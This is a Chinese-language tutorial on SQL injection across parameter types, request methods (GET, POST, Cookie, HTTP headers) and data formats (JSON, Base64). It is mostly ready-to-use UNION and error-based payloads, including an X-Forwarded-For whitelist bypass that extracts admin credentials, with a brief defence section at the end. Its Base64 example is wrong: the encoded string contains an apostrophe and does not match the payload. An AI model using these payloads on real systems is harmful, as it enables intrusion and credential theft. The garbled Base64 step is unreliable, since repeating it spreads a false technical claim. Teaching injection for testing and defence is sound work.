43:SQL注入进阶(请求类型、方法与格式实战)

一、核心知识点总览

本节课聚焦 SQL注入的"场景适配",即不同的代码编写方式(如参数类型、请求方法、数据格式)会导致注入语句的拼接逻辑完全不同。核心解决三个问题:

  1. 如何应对不同类型参数(数字、字符、搜索框等)的符号干扰?
  2. 除了GET参数,POST、Cookie、HTTP头如何注入?
  3. 当数据以JSON、Base64等格式传输时,如何构造注入语句?

二、数据请求类型:破解符号干扰的核心

SQL注入的本质是"拼接恶意SQL语句到原查询中",但原SQL语句的参数格式(如是否带引号、括号)会直接影响注入能否成功。需根据参数类型针对性闭合符号。

参数类型 原SQL语句示例 符号干扰 注入语句构造技巧(以id​参数为例) 示例URL/Payload
1. 数字型 ​select * from news where id=$id​ 无符号干扰 直接拼接注入语句(无需处理引号) ​id=1 union select 1,2,3,database(),5,6--+​
2. 字符型 ​select * from news where id='$id'​ 单引号'​干扰 用单引号'​闭合左侧引号,用--+​注释右侧多余内容 ​id=1' union select 1,2,3,database(),5,6--+​
3. 搜索型 ​select * from news where title like '%$key%'​ ​%'​干扰 用%'​闭合左侧%'​,注入后用and '%'='​闭合右侧%​(使整体语法合法) ​key=1%' union select 1,2,3,database(),5,6--+ and '%'='​
4. 框架型 ​select * from news where (id='$id') limit 0,1​ 括号()​+单引号 用')​闭合左侧(id='​,再用--+​注释右侧limit 0,1​ ​id=1') union select 1,2,3,database(),5,6--+​

关键原理:符号闭合的核心逻辑

原SQL语句中,参数周围的符号(单引号、括号、%等)会"包裹"用户输入,导致注入语句被截断。例如字符型的id='$id'​,若直接注入union select...​,会变成id='union select...'​(被当作字符串,不执行)。因此必须先闭合左侧符号,再注释右侧多余内容,使注入语句成为有效SQL的一部分。

三、数据请求方法:全场景注入点挖掘

SQL注入不仅存在于URL的GET参数中,POST表单、Cookie、甚至HTTP头字段(如User-Agent)只要被带入SQL查询,都可能成为注入点。需掌握不同请求方法的注入技巧。

3.1 常规请求方法(GET/POST/Cookie)

请求方法 PHP接收变量 注入场景示例 测试工具 注入核心步骤
GET ​$_GET['id']​ 商品详情页?id=1​、文章页?aid=5​ 浏览器/HackBar 直接在URL参数后拼接注入语句(如?id=1' union select...--+​)
POST ​$_POST['username']​ 登录表单(用户名/密码)、搜索表单 Burp Suite 1. 抓包获取POST数据(如username=admin&password=123​); 2. 在参数后加注入语句(如username=admin' union select 1,database(),3,4--+&password=123​); 3. 发送数据包观察回显。
Cookie ​$_COOKIE['user']​ 记住登录状态(如user=admin​) Burp Suite 1. 抓包修改Cookie字段; 2. 注入语句格式同字符型(如user=admin' union select...--+​)。
REQUEST ​$_REQUEST['key']​ 兼容GET/POST/Cookie的通用参数 结合上述工具 需测试参数在GET/POST/Cookie中是否均可注入(优先测POST,因常被忽略)。

3.2 HTTP头注入(隐藏的注入点)

部分网站会将HTTP头字段(如用户代理、IP)存入数据库(如日志记录),若未过滤,可通过修改头字段注入。

HTTP头字段 PHP接收变量 注入场景 注入示例(Burp修改)
User-Agent ​$_SERVER['HTTP_USER_AGENT']​ 记录访问设备信息到数据库 原头:User-Agent: Mozilla/5.0​ → 注入:User-Agent: Mozilla/5.0' union select 1,database(),3--+​
X-Forwarded-For ​$_SERVER['HTTP_X_FORWARDED_FOR']​ 记录客户端真实IP(常用于IP白名单) 原头:X-Forwarded-For: 192.168.1.1​ → 注入:X-Forwarded-For: 192.168.1.1' union select 1,user(),3--+ and '1'='1​
Referer ​$_SERVER['HTTP_REFERER']​ 记录请求来源页面 原头:Referer: http://example.com/login​ → 注入:Referer: http://example.com/login' union select 1,version(),3--+​
Host ​$_SERVER['HTTP_HOST']​ 记录访问的域名/IP 原头:Host: 192.168.1.100​ → 注入:Host: 192.168.1.100' union select 1,@@version_compile_os,3--+​

实战案例:IP白名单绕过注入

某网站通过以下代码限制仅白名单IP可登录:

复制代码
$ip = $_SERVER['HTTP_X_FORWARDED_FOR']; // 获取客户端IP
$sql = "select * from admin where ip='$ip'"; // 查IP是否在白名单
  • 注入步骤:

    1. 抓包添加X-Forwarded-For头,构造注入语句闭合单引号:
      X-Forwarded-For: 127.0.0.1' union select 1,'admin',3,'123456'--+
    2. 拼接后SQL变为:
      select * from admin where ip='127.0.0.1' union select 1,'admin',3,'123456'--+'
    3. 成功查询到admin账号密码,绕过IP限制。

四、数据请求格式:编码与解析场景的注入

当数据以特定格式(如JSON)或编码(如Base64)传输时,需先按格式构造注入语句,再进行编码/封装后发送。

4.1 JSON格式注入

部分API采用JSON传输数据(如{"username":"admin","password":"123"}​),后端解析后直接拼接SQL:

复制代码
$json = file_get_contents('php://input');
$data = json_decode($json, true);
$username = $data['username'];
$sql = "select * from admin where username='$username'";
  • 注入步骤:

    1. 抓包确认数据格式为JSON(请求头Content-Type: application/json);
    2. 构造注入语句闭合单引号:
      {"username":"admin' union select 1,database(),3,4--+","password":"123"}
    3. 发送JSON数据,后端解析后SQL变为:
      select * from admin where username='admin' union select 1,database(),3,4--+'

4.2 Base64编码注入

部分网站对参数进行Base64编码(如id=MQ==​对应id=1​),后端解码后带入SQL:

复制代码
$id = base64_decode($_GET['id']);
$sql = "select * from news where id='$id'";
  • 注入步骤:

    1. 确认编码方式(可通过id=1→id=MQ==验证为Base64);
    2. 构造字符型注入语句:1' union select 1,database(),3,4,5,6--+;
    3. 对注入语句进行Base64编码:MT'IHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCksMyw0LDU2LC0tKQ==;
    4. 发送请求:?id=MT'IHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCksMyw0LDU2LC0tKQ==,后端解码后执行注入语句。

五、避坑指南与防御要点

5.1 注入失败的常见原因及解决

失败原因 排查方法 解决技巧
符号闭合错误 观察原SQL语句格式(通过报错信息推测,如You have an error in your SQL syntax near ''1''​) 多尝试不同闭合符('​/")​/%'​等),结合注释符--+​或#​
编码/格式不匹配 检查数据是否被二次处理(如URL编码、Base64) 按后端处理逻辑编码注入语句(如Base64编码需确保注入语句解码后语法正确)
HTTP头注入无回显 确认头字段是否真的被带入SQL(可通过修改正常值观察页面变化) 改用报错注入(如' and extractvalue(1,concat(0x7e,database()))--+​)

5.2 防御核心策略

  1. 统一参数化查询:无论何种请求类型/格式,均使用预编译语句(如PHP的mysqli_prepare​),禁止直接拼接SQL:

    复制代码
    // 安全代码:参数化查询
    $stmt = $mysqli->prepare("select * from admin where username=?");
    $stmt->bind_param("s", $username); // 绑定字符串类型参数
    $stmt->execute();
  2. 严格过滤输入:对所有用户可控数据(包括GET/POST/头字段)过滤SQL关键字(union​、select​、'​等),但仅作为辅助防御(无法覆盖所有绕过方式)。

  3. 限制数据库权限:PHP连接MySQL使用低权限用户,禁止file​权限(防文件读写)、跨库查询权限(防越权访问)。

总结:注入场景适配的核心逻辑

SQL注入的关键是"让恶意语句成为有效SQL的一部分",需根据三大维度调整策略:

  • 请求类型:破解符号干扰(闭合+注释);
  • 请求方法:覆盖所有用户可控参数(GET/POST/头字段);
  • 请求格式:按编码/格式规则构造注入语句(JSON/Base64等)。

掌握这些场景后,可应对90%以上的SQL注入变种,同时防御需从"参数化查询+最小权限"双管齐下,从根本上阻断注入风险。

结尾交付物提议

需要我整理一份 《SQL注入场景适配速查表》 吗?包含"不同请求类型的闭合符号对照表""HTTP头注入测试清单""编码格式注入步骤流程图",方便快速定位场景并生成注入语句。

相关推荐
木卫二号Coding2 小时前
affine+docker+postgresql+备份数据库
数据库·docker·容器
云和数据.ChenGuang2 小时前
openEuler系统下安装MongoDB的技术教程
运维·数据库·mongodb·压力测试·运维工程师·运维技术
SelectDB2 小时前
Apache Doris AI 能力揭秘(四):HSAP 一体化混合搜索架构全解
数据库·人工智能·agent
程序人生5183 小时前
解决Dbeaver 连上 MySQL 数据库后不显示 information_schame、mysql 等数据库
数据库·mysql
与衫3 小时前
SQLFlow × 高斯数据库:构建可治理、可追溯的数据底座
数据库·oracle
小小测试开发3 小时前
SQL常用语法全解析:从入门到进阶的实战指南
数据库·sql
暗之星瞳3 小时前
mysql练习
数据库·mysql
月上林梢3 小时前
QT圆形加载进度条
数据库·c++·qt·进度条
3824278273 小时前
汇编:条件汇编、
前端·汇编·数据库